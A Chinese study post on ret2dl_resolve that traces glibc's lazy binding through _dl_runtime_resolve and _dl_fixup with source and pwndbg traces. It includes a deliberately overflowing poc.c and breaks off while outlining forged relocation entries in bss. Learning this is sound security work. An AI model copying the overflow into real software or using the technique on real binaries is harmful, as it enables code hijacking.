ret2dl_reslove

ret2dl_reslove

学习:_dl_runtime_reslove分析以及ret2dlreslove

加载期间查找函数时使用的不同结构。

延迟绑定

动态链接器仅在需要时才解析对共享库中符号的引用:程序不知道共享库中特定函数的地址,直到实际使用该函数。

延迟绑定即为运行时解析符号

涉及两部分,plt表和got表

plt:记录默认存根(link_map和_dl_runtime_resolve) 和 函数的存根

got:位于data段,运行时用已解析符号的地址填充

​ 包含将在符号解析过程中使用的重要地址: link_map结构地址和**_dl_runtime_resolve** 地址

调用read

惰性\_绑定

从.text段的代码,call read@plt,调用.plt段的存根部分,跳转到.got.plt段,因为符号未解析,所以push reloc_arg; jmp 默认存根,执行push link_map; jmp _dl_runtime_resolve

_dl_runtime_resolve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0x7ffff7fe93c0 <_dl_runtime_resolve_xsave>:       push   rbx
0x7ffff7fe93c1 <_dl_runtime_resolve_xsave+1>: mov rbx,rsp
0x7ffff7fe93c4 <_dl_runtime_resolve_xsave+4>: and rsp,0xffffffffffffffc0
0x7ffff7fe93c8 <_dl_runtime_resolve_xsave+8>: sub rsp,QWORD PTR [rip+0x13379] // 0x7ffff7ffc748 <_rtld_global_ro+232>
0x7ffff7fe93cf <_dl_runtime_resolve_xsave+15>: mov QWORD PTR [rsp],rax
0x7ffff7fe93d3 <_dl_runtime_resolve_xsave+19>: mov QWORD PTR [rsp+0x8],rcx
0x7ffff7fe93d8 <_dl_runtime_resolve_xsave+24>: mov QWORD PTR [rsp+0x10],rdx
0x7ffff7fe93dd <_dl_runtime_resolve_xsave+29>: mov QWORD PTR [rsp+0x18],rsi
0x7ffff7fe93e2 <_dl_runtime_resolve_xsave+34>: mov QWORD PTR [rsp+0x20],rdi
0x7ffff7fe93e7 <_dl_runtime_resolve_xsave+39>: mov QWORD PTR [rsp+0x28],r8
0x7ffff7fe93ec <_dl_runtime_resolve_xsave+44>: mov QWORD PTR [rsp+0x30],r9
0x7ffff7fe93f1 <_dl_runtime_resolve_xsave+49>: mov eax,0xee
0x7ffff7fe93f6 <_dl_runtime_resolve_xsave+54>: xor edx,edx
0x7ffff7fe93f8 <_dl_runtime_resolve_xsave+56>: mov QWORD PTR [rsp+0x240],rdx
0x7ffff7fe9400 <_dl_runtime_resolve_xsave+64>: mov QWORD PTR [rsp+0x248],rdx
0x7ffff7fe9408 <_dl_runtime_resolve_xsave+72>: mov QWORD PTR [rsp+0x250],rdx
0x7ffff7fe9410 <_dl_runtime_resolve_xsave+80>: mov QWORD PTR [rsp+0x258],rdx
0x7ffff7fe9418 <_dl_runtime_resolve_xsave+88>: mov QWORD PTR [rsp+0x260],rdx
0x7ffff7fe9420 <_dl_runtime_resolve_xsave+96>: mov QWORD PTR [rsp+0x268],rdx
0x7ffff7fe9428 <_dl_runtime_resolve_xsave+104>: mov QWORD PTR [rsp+0x270],rdx
0x7ffff7fe9430 <_dl_runtime_resolve_xsave+112>: mov QWORD PTR [rsp+0x278],rdx
0x7ffff7fe9438 <_dl_runtime_resolve_xsave+120>: xsave [rsp+0x40] // Save current processor state
0x7ffff7fe943d <_dl_runtime_resolve_xsave+125>: mov rsi,QWORD PTR [rbx+0x10] // reloc_arg
0x7ffff7fe9441 <_dl_runtime_resolve_xsave+129>: mov rdi,QWORD PTR [rbx+0x8] // link_map
0x7ffff7fe9445 <_dl_runtime_resolve_xsave+133>: call 0x7ffff7fe2a20 <_dl_fixup> // _dl_fixup(link_map, reloc_arg)

功能:保存当前处理器状态,将reloc_arg赋值给rsi,link_map赋值给rdi,调用_dl_fixup

剖析_dl_fixup

前置

动态链接相关基础DYNSYM (.dynsym)、JMPREL (.rela.plt)、 和STRTAB (.dynstr)

四个指针及结构体DT_SYMTAB(Elf64_Sym)DT_JMPREL(Elf64_Rela)DT_STRTAB(Elf64_Str)Dynamic(Elf64_Sym)

DYNSYM (.dynsym)

它包含一个符号表。它由 0x18 字节对齐的Elf64_Sym结构组成 。每个结构将一个符号名称与二进制文件中其他地方的一段代码相关联。

1
2
3
4
5
6
7
8
9
10
typedef struct {

Elf64_Wddr st_name;
unsigned char st_info;
unsigned char st_other;
Elf64_Section st_shndx;
Elf64_Addr st_value;
Elf64_Xword st_size;

}Elf64_Sym;
  • st_name:它充当字符串表索引。它将用于在 STRTAB 部分中定位正确的字符串。
  • st_info:它包含符号的类型和绑定属性。
  • st_other:它包含符号的可见性。
  • st_shndx:它包含相关的节头表索引。
  • st_value:它包含关联符号的值。
  • st_size:它包含符号的大小。如果符号没有大小或大小未知,则它包含 0。

JMPREL (.rela.plt)

包含链接器用来执行重定位的信息。它由0x18字节对齐的 Elf64_Rel 结构组成

1
2
3
4
5
6
typedef struct {

Elf64_Addr r_offset;
Elf64_Wddr r_info;

}Elf64_Rel;
  • r_offset:它包含将存储已解析符号地址的位置(在 GOT 中)。
  • r_info:表示重定位类型,作为符号表索引。它将用于在 DYNSYM 部分中定位相应的 Elf64_Sym 结构。

STRTAB (.dynstr)

存在 包含符号名称的字符串表

定义:dl-resolve.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg ) //1.接受两个参数,一是源自rdi,一是源自rsi
{

//2.定义了指向DT_STRTAB的指针
const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);

//3.定义了一个指向Elf64_Rel的指针
const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

//4.定义了一个指向Elf64_Sym的指针
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

const ElfW(Sym) *refsym = sym;

//5.指针rel_addr指向将存储已解析符号的位置
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

lookup_t result;

DL_FIXUP_VALUE_TYPE value;

//6.check1: assert ((reloc->r_info & 0xffffffff) == 0x7);
//效果: 检查reloc->r_info是否是有效的JUMP_SLOT
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

//7.check2: if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)
//效果: 如果不满足条件,则认为函数已经解析
// 否则继续check
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

//8.check3: if (&l + 0x1d0) != NULL
//效果: 通常满足,执行if中语句
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
//使用D_PTR和通常的l_info找VERSYM地址
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
//使用`reloc->r_info >> 32`作为VERSYM索引,计算ndx
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
//ndx作为l_version的索引,获取版本名
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

//9. 调用_dl_lookup_symbol_x
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
//10.
value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
}
else
{
/* We already found the symbol.
the module (and therefore its load address) is also known. */

value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS (l, sym, true));
result = l;
}


/* And now perhaps the relocation addend. */
//11.
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;

return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

}

[...]

接下来逐步进行解析

  1. _dl_fixup( ... struct link_map *l, ElfW(Word) reloc_arg)

    接受两个参数,一是源自rdi,一是源自rsi

    link_map是一个重要的结构,它包含有关加载的共享对象的各种信息。链接器创建一个 link_maps 链表,每个link_map结构描述一个共享对象

    reloc_arg将用作索引,标识 Elf64_RelJMPREL 部分中的对应项

  2. const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);

    定义指向DT_STRTAB的指针

    D_PTR:

    定义:D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)

    如果动态链接仅可读:则定义为D_PTR(map, i) ((map)->i->d_un.d_ptr

    用于寻找在位于DYNAMIC段的结构体Elf64_Dynd_ptr值,

    Elf64_Dyn:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    typedef struct{

    Elf64_Sxword d_tag; /* Dynamic entry type */
    union
    {
    Elf64_Xword d_val; /* Integer value */
    Elf64_Addr d_ptr; /* Address value */
    } d_un;

    } Elf64_Dyn;

    l_info:

    位于&link_map + 0x40并指向动态部分,接受一个标记作为索引

  3. const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);

D_PTR:获取DT_JMPREL段地址,增加了reloc_offset (reloc_arg * sizeof(PLTREL))

没有校验上限,所以在此处提供大量reloc_arg给dl_fixup

  1. const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

    定义一个指向Elf64_Sym的指针

    ElfW定义

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    #define ElfW(type)        _ElfW (Elf, __ELF_NATIVE_CLASS, type)
    #define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
    #define _ElfW_1(e,w,t) e##w##t

    /*
    ElfW(R_SYM) =
    _ElfW(Elf, __ELF_NATIVE_CLASS, R_SYM) =
    _ElfW_1(Elf, 64, _R_SYM) =
    Elf64_R_SYM
    */

    ELF64_R_SYM 定义ELF64_R_SYM(i) ((i) >> 32)

    翻译成: const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];

    作用:索引,在SYMTAB段中reloc->r_info >> 32找到对应的结构体Elf64_Sym

  2. void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);

    指针rel_addr,用于指向存储的已解析符号的位置

  3. assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

    check1: assert ((reloc->r_info & 0xffffffff) == 0x7);
    效果: 检查reloc->r_info是否是有效的JUMP_SLOT

  4. if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

    **check2: **

    if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)
    效果: 如果不满足条件,则认为函数已经解析
    否则继续执行if语句中的内容

    ELF64_ST_VISIBILITY]

    等价ELF32_ST_VISIBILITY(o) ((o) & 0x03),可以翻译为上面写的句子

  5. if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
    check3:

if (&l + 0x1d0) != NULL

效果:通常为if为真是,继续执行if语句

**VERSYMIDX**
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX(sym))


//继续向下展开
#define DT_VERSYM 0x6ffffff0
#define DT_NUM 35 /* Number used */
#define DT_THISPROCNUM 0
#define DT_VERNEEDNUM 0x6fffffff /* Number of needed versions */
#define DT_VERSIONTAGIDX(tag) (DT_VERNEEDNUM - (tag)) /* Reverse order! */


/*翻译VERSYMIDX (DT_VERSYM)
VERSYMIDX(0x6ffffff0) =
(DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX(0x6ffffff0)) =
(35 + 0 + DT_VERSIONTAGIDX(0x6ffffff0)) =
(35 + (0x6fffffff - 0x6ffffff0)) =
(35 + 0xf) = 0x32
*/

继续执行if语句

1
2
3
4
5
6
7
8
9
10
11
//使用D_PTR和通常的l_info找VERSYM地址
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);

//使用`reloc->r_info >> 32`作为VERSYM索引,计算ndx
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;

//ndx作为l_version的索引,获取版本名
version = &l->l_versions[ndx];

if (version->hash == 0)
version = NULL;

l_version:位于&link_map + 0x2e8是一个版本名数组

  1. result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

    调用1:_dl_lookup_symbol_x

    通过strtab + sym->st_name,在加载的对象中寻找符号定义

    返回linkmap结构体的地址,其第一个元素指向libc基地址,返回l_addr

  2. value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));

    return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

    调用2:DL_FIXUP_MAKE_VALUE

    通过 SYMBOL_ADDRESS宏,DL_FIXUP_MAKE_VALUE寻找库函数的偏移,重定位并将结果存储在value变量中

    1
    2
    3
    4
    5
    6
    7
    8
    #define SYMBOL_ADDRESS(map, ref, map_set)                           \
    ((ref) == NULL ? 0 \
    : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0 \
    : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value)

    //LOOKUP_VALUE_ADDRESS
    #define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)

    如果该函数成功执行,value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

    ⭐**call _dl_lookup_symbol_x **

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    0x7ffff7fe2b1c <_dl_fixup+252>    mov    rax, QWORD PTR [r8]
    ; r8 包含地址link_map, l_addr指向libc基地址


    0x7ffff7fe2b1f <_dl_fixup+255> add rax, QWORD PTR [rdx + 8]
    ;rdx 指向libc中结构体Elf64_Symlibc

    ; R8 0x7ffff7fae000 --> 0x7ffff7deb000 <-- 0x3010102464c457f
    ; RDX 0x7ffff7df7cd0


    ; call _dl_lookup_symbol_x后
    ; rax中存放libc基地址,rax += $rdx+8
    ; rdx+8 指向 是Elf64_Sym结构体中st_value的地址
    ; rax + $rdx+8 == libc_base+ st_value

    ;获得read在libc中的地址
  3. value = elf_machine_plt_value (l, reloc, value);

    调用3:elf_machine_plt_value

    在其上两次调用结束后,我们可以获取到函数在libc中的地址

    通过elf_machine_fixup_plt(),可以将解析符号的地址写入rel_addr指向的位置

回顾&总结

  1. 调用_dl_fixup(link_map, reloc_arg)

  2. const PLTREL *const reloc = (const void *) (JMPREL + reloc_offset);

    _dl_fixup(),根据reloc_offset (reloc_arg * 0x18)的值,在.rela.plt 中寻找对应的Elf64_Rel结构体。

  3. const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];

    它使用 Elf64_Rel结构体中的字段reloc->r_info >> 32作为索引,在SYMTAB 节中找到相应的Elf64_Sym 结构

  4. assert ((reloc->r_info & 0xffffffff) == 0x7);

    使用Elf64_Rel结构中r_info,确保它是一个有效的 JUMP_SLOT。

  5. if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)

    使用Elf64_Sym结构中st_other,以确保符号未被解析。

    (sym->st_other & 3) != 0意思是“符号已经解析”,所以我们需要st_other== 0。

  6. if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

    执行符号版本控制检查。

    通常满足此检查,因此它通过ElfW(Half) ndx = vernum[reloc->r_info >> 32] & 0x7fff;计算“ndx”

    然后获取版本号 version = &l->l_versions[ndx];

  7. result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);

    _dl_lookup_symbol_x()函数, 通过strtab + sym->st_name,在加载对象的符号表中查找符号的定义并返回 link_map地址。l_addr指向 libc 基地址。

  8. value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);

    DL_FIXUP_MAKE_VALUE()从库基地址找到函数的偏移量并重定位

  9. return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

    elf_machine_fixup_plt()将已解析符号的地址写入rel_addr(In the GOT)指向的位置。

调试read流程

理解_dl_fixup

poc

前提可以修改got表

1
2
3
4
5
6
7
8
9
#include <unistd.h>

void main(void)
{
char buff[20];
read(0, buff, 0x90);
}

//gcc poc.c -o poc -no-pie
  1. plt表

    第一次调用read函数

    从plt表,找函数存根,没有,则指向默认存根

    push link_map

    jmp _dl_runtime_reslove

  2. 执行_dl_runtime_reslove函数

    最后一句汇编,执行_dl_fixup函数

    跟进去,继续看

  3. _dl_fixup

    已经接受了参数link_map和reloc_arg,存放在rdi和rsi中

源码级调试

跳过定义部分,重点关注check以及后续函数的调用导致寄存器中值的变化

check1:

1
2
3
4
5
6
7
8
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);

RSI 0x200000007

► 0x7ffff7fe0b32 <_dl_fixup+82> cmp esi, 7
0x7ffff7fe0b35 <_dl_fixup+85> jne _dl_fixup+414 <_dl_fixup+414>

; (reloc->r_info & 0xffffffff) == 0x7

check2:

1
2
3
4
5
6
7
8
9
10
11
12
13
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)

RDX 0x3ff3e8 ◂— 0x120000001c

► 0x7ffff7fe0b3b <_dl_fixup+91> test byte ptr [rdx + 5], 3
0x7ffff7fe0b3f <_dl_fixup+95> jne _dl_fixup+320 <_dl_fixup+320>


pwndbg> x /20xg 0x3ff3e8+5
0x3ff3ed: 0x0000000000000000 0x0000000000000000

; test结果为0,jne需要标志位不为0,才跳转
; 不进行跳转,继续执行if语句内的内容

check3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

R10 0x7ffff7ffe1f0 ◂— 0x0

► 0x7ffff7fe0b45 <_dl_fixup+101> mov r8, qword ptr [r10 + 0x1d0]
0x7ffff7fe0b4c <_dl_fixup+108> test r8, r8
0x7ffff7fe0b4f <_dl_fixup+111> je _dl_fixup+157 <_dl_fixup+157>

pwndbg> x /20xg 0x7ffff7ffe1f0+0x1d0
0x7ffff7ffe3c0: 0x0000000000403f80 0x0000000000000000

pwndbg> x /20xg 0x0000000000403f80
0x403f80: 0x000000006ffffff0 0x0000000000400490


*R8 0x403f80 (_DYNAMIC+352) ◂— 0x6ffffff0
► 0x7ffff7fe0b4c <_dl_fixup+108> test r8, r8

; test结果不为0,je需要标志位为0,才跳转
; 不跳转,继续执行if语句

之后是获取版本号,跳过

调用1

在加载的对象中寻找符号定义,

函数会返回link_map结构体地址,其第一个元素有libc_base(0x7ffff7e04000)

返回l_addr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 ► 0x7ffff7fe0bb2 <_dl_fixup+210>    call   _dl_lookup_symbol_x                <_dl_lookup_symbol_x>
rdi: 0x3fe3a4 ◂— 0x6c5f5f0064616572 /* 'read' */
rsi: 0x7ffff7ffe1f0 ◂— 0x0
rdx: 0x7fffffffdb28 —▸ 0x3ff3e8 ◂— 0x120000001c
rcx: 0x7ffff7ffe558 —▸ 0x7ffff7ffe4b0 —▸ 0x7ffff7fc9590 —▸ 0x7ffff7ffe1f0 ◂— 0x0
r8: 0x7ffff7fc95f8 —▸ 0x3fe3bb ◂— 'GLIBC_2.2.5'
r9: 0x1
arg[6]: 0x1
arg[7]: 0x0


; 执行完函数的寄存器状态
*RAX 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f
*RBX 0x404020 (read@got.plt) —▸ 0x401040 ◂— endbr64
RCX 0x1
RDX 0x6
RDI 0x7ffff7e1f8e9 ◂— 0x4700352e322e325f /* '_2.2.5' */
RSI 0x3fe3c0 ◂— 0x4700352e322e325f /* '_2.2.5' */
*R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f
R9 0x7ffff7e10fe8 ◂— 0x100012000021b7
R10 0xfffffffffffff8f9
R11 0x7fffffffdb28 —▸ 0x7ffff7e10fe8 ◂— 0x100012000021b7
*R12 0x401070 (_start) ◂— endbr64
*R13 0x7fffffffe040 ◂— 0x1
*R14 0x0
*R15 0x0
*RBP 0x7fffffffdf50 ◂— 0x0
*RSP 0x7fffffffdb10 ◂— 0x1
*RIP 0x7ffff7fe0bba (_dl_fixup+218) ◂— mov eax, dword ptr fs:[0x18]

调用2

通过 SYMBOL_ADDRESS宏,DL_FIXUP_MAKE_VALUE寻找库函数的偏移,重定位并将结果存储在value变量中

1
2
3
4
5
6
7
8
9
value = DL_FIXUP_MAKE_VALUE (result,  SYMBOL_ADDRESS (result, sym, false));



pwndbg>
elf_machine_fixup_plt (map=<optimized out>, t=<optimized out>, refsym=<optimized out>, sym=0x7ffff7e10fe8, reloc=<optimized out>, value=140737353032400, reloc_addr=0x404020 <read@got.plt>) at ../sysdeps/x86_64/dl-machine.h:242

242 return *reloc_addr = value;

调用3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
value = elf_machine_plt_value (l, reloc, value);

RAX 0x0
RBX 0x404020 (read@got.plt) —▸ 0x401040 ◂— endbr64
RCX 0x1
RDX 0x7ffff7e10fe8 ◂— 0x100012000021b7
RDI 0x7ffff7e1f8e9 ◂— 0x4700352e322e325f /* '_2.2.5' */
RSI 0x0
R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f
R9 0x7ffff7e10fe8 ◂— 0x100012000021b7
R10 0xfffffffffffff8f9
R11 0x7fffffffdb28 —▸ 0x7ffff7e10fe8 ◂— 0x100012000021b7
R12 0x401070 (_start) ◂— endbr64
R13 0x7fffffffe040 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf50 ◂— 0x0
RSP 0x7fffffffdb20 ◂— 0x0
*RIP 0x7ffff7fe0be0 (_dl_fixup+256) ◂— mov rax, qword ptr [r8]


► 0x7ffff7fe0be0 <_dl_fixup+256> mov rax, qword ptr [r8]

0x7ffff7fe0be3 <_dl_fixup+259> add rax, qword ptr [rdx + 8]

0x7ffff7fe0be7 <_dl_fixup+263> movzx edx, byte ptr [rdx + 4]
0x7ffff7fe0beb <_dl_fixup+267> and edx, 0xf
0x7ffff7fe0bee <_dl_fixup+270> cmp dl, 0xa
0x7ffff7fe0bf1 <_dl_fixup+273> je _dl_fixup+312 <_dl_fixup+312>
; R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f
; RDX 0x7ffff7e10fe8 ◂— 0x100012000021b7
; R8:link_map地址, l_addr指向libc基地址
; rdx 指向libc中结构体Elf64_Symlibc

执行后
; *RAX 0x7ffff7e04000 ◂— 0x3010102464c457f

再次执行
; *RAX 0x7ffff7ef22d0 (read) ◂— endbr64


; rax中存放libc基地址,rax += $rdx+8
; rdx+8 指向 是Elf64_Sym结构体中st_value的地址
; rax + $rdx+8 == libc_base+ st_value

;获得read在libc中的地址

调用2的末尾

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);

RAX 0x7ffff7ef22d0 (read) ◂— endbr64
*RBX 0x7fffffffdf10 —▸ 0x4011a0 (__libc_csu_init) ◂— endbr64
RCX 0x1
RDX 0x0
RDI 0x7ffff7e1f8e9 ◂— 0x4700352e322e325f /* '_2.2.5' */
RSI 0x0
R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f
R9 0x7ffff7e10fe8 ◂— 0x100012000021b7
R10 0xfffffffffffff8f9
R11 0x7fffffffdb28 —▸ 0x7ffff7e10fe8 ◂— 0x100012000021b7
R12 0x401070 (_start) ◂— endbr64
R13 0x7fffffffe040 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf50 ◂— 0x0
*RSP 0x7fffffffdb38 —▸ 0x7ffff7fe816e (_dl_runtime_resolve_xsavec+126) ◂— mov r11, rax
*RIP 0x7ffff7fe0c05 (_dl_fixup+293) ◂— ret

结束_dl_fixup调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# endif
# Copy args pushed by PLT in register.
# %rdi: link_map, %rsi: reloc_index
mov (LOCAL_STORAGE_AREA + 8)(%BASE), %RSI_LP
mov LOCAL_STORAGE_AREA(%BASE), %RDI_LP
call _dl_fixup # Call resolver. //结束_dl_fixup

mov %RAX_LP, %R11_LP # Save return value //read地址存放在r11上
# Get register content back.

# ifdef USE_FXSAVE
fxrstor STATE_SAVE_OFFSET(%rsp) //跳过了
# else
movl $STATE_SAVE_MASK, %eax //此处开始,保存寄存器状态
xorl %edx, %edx
xrstor STATE_SAVE_OFFSET(%rsp)
# endif
movq REGISTER_SAVE_R9(%rsp), %r9
movq REGISTER_SAVE_R8(%rsp), %r8
movq REGISTER_SAVE_RDI(%rsp), %rdi
movq REGISTER_SAVE_RSI(%rsp), %rsi
movq REGISTER_SAVE_RDX(%rsp), %rdx
movq REGISTER_SAVE_RCX(%rsp), %rcx
movq REGISTER_SAVE_RAX(%rsp), %rax

# if DL_RUNTIME_RESOLVE_REALIGN_STACK
mov %RBX_LP, %RSP_LP
cfi_def_cfa_register(%rsp)
movq (%rsp), %rbx
cfi_restore(%rbx)

# endif
# Adjust stack(PLT did 2 pushes)
add $(LOCAL_STORAGE_AREA + 16), %RSP_LP
cfi_adjust_cfa_offset(-(LOCAL_STORAGE_AREA + 16))
# Preserve bound registers.
PRESERVE_BND_REGS_PREFIX

jmp *%r11 # Jump to function address.

汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
   0x7ffff7fe816e <_dl_runtime_resolve_xsavec+126>    mov    r11, rax                      <read>
0x7ffff7fe8171 <_dl_runtime_resolve_xsavec+129> mov eax, 0xee
0x7ffff7fe8176 <_dl_runtime_resolve_xsavec+134> xor edx, edx
0x7ffff7fe8178 <_dl_runtime_resolve_xsavec+136> xrstor ptr [rsp + 0x40]

0x7ffff7fe817d <_dl_runtime_resolve_xsavec+141> mov r9, qword ptr [rsp + 0x30]
0x7ffff7fe8182 <_dl_runtime_resolve_xsavec+146> mov r8, qword ptr [rsp + 0x28]
0x7ffff7fe8187 <_dl_runtime_resolve_xsavec+151> mov rdi, qword ptr [rsp + 0x20]
0x7ffff7fe818c <_dl_runtime_resolve_xsavec+156> mov rsi, qword ptr [rsp + 0x18]
0x7ffff7fe8191 <_dl_runtime_resolve_xsavec+161> mov rdx, qword ptr [rsp + 0x10]
0x7ffff7fe8196 <_dl_runtime_resolve_xsavec+166> mov rcx, qword ptr [rsp + 8]
0x7ffff7fe819b <_dl_runtime_resolve_xsavec+171> mov rax, qword ptr [rsp]

0x7ffff7fe819f <_dl_runtime_resolve_xsavec+175> mov rsp, rbx
0x7ffff7fe81a2 <_dl_runtime_resolve_xsavec+178> mov rbx, qword ptr [rsp]
0x7ffff7fe81a6 <_dl_runtime_resolve_xsavec+182> add rsp, 0x18

► 0x7ffff7fe81aa <_dl_runtime_resolve_xsavec+186> bnd jmp r11


; 寄存器状态
RAX 0x7fffffffdf30 ◂— 0x0
RBX 0x4011a0 (__libc_csu_init) ◂— endbr64
RCX 0x7ffff7fc2738 (__exit_funcs) —▸ 0x7ffff7fc49a0 (initial) ◂— 0x0
RDX 0x90
RDI 0x0
RSI 0x7fffffffdf30 ◂— 0x0
R8 0x0
R9 0x7ffff7fe1730 (_dl_fini) ◂— endbr64
R10 0xfffffffffffff8f9
R11 0x7ffff7ef22d0 (read) ◂— endbr64
R12 0x401070 (_start) ◂— endbr64
R13 0x7fffffffe040 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdf50 ◂— 0x0
*RSP 0x7fffffffdf28 —▸ 0x401187 (main+49) ◂— nop
*RIP 0x7ffff7fe81aa (_dl_runtime_resolve_xsavec+186) ◂— bnd jmp r11

调了一遍,还是很难懂利用的流程,如何进行伪造,如何控制

后面跟模板,跟思路,调一下进行伪造的_dl_fixup

利用思路

如果bss映射在0x40XXXX,则可以通过下面的思路,伪造reloc_arg进行攻击

  1. 在堆栈上压入一个大的伪造reloc_arg,然后跳转到 plt 默认存根。_dl_fixup()link_mapfake_reloc_arg一起被称aguments

    这样我们就可以控制 const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); 指向一个可控区域(bss/heap)。

  2. fake_JMPREL 部分,我们创建了一个fake_Elf64_Rel具有大fake_r_info

